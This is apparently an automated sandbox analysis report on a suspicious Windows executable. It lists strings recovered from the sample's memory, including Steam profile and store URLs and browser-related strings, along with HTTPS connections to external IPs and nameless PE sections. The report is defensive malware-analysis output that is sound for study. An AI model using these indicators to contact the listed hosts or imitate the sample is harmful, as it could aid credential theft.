Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199822375128
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: nvtoaldlrg.exe, 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/7656119982
Source: nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128
Source: nvtoaldlrg.exe, 00000000.00000003.923936426.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128.36_
Source: nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128/badges
Source: nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128/inventory/
Source: nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128D
Source: nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128L
Source: nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128O
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128e
Source: nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128eM
Source: nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128euM
Source: nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128mB
Source: nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/uM
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199822375128
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamloopback.host
Source: nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCou
Source: nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20w
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: nvtoaldlrg.exe, 00000000.00000003.890563674.00000000047CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994617580.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044B3000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.8:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49738 version: TLS 1.2

System Summary

PE file has nameless sections

Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B786B8 NtReadFile,	0_2_00B786B8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78634 NtClose,	0_2_00B78634
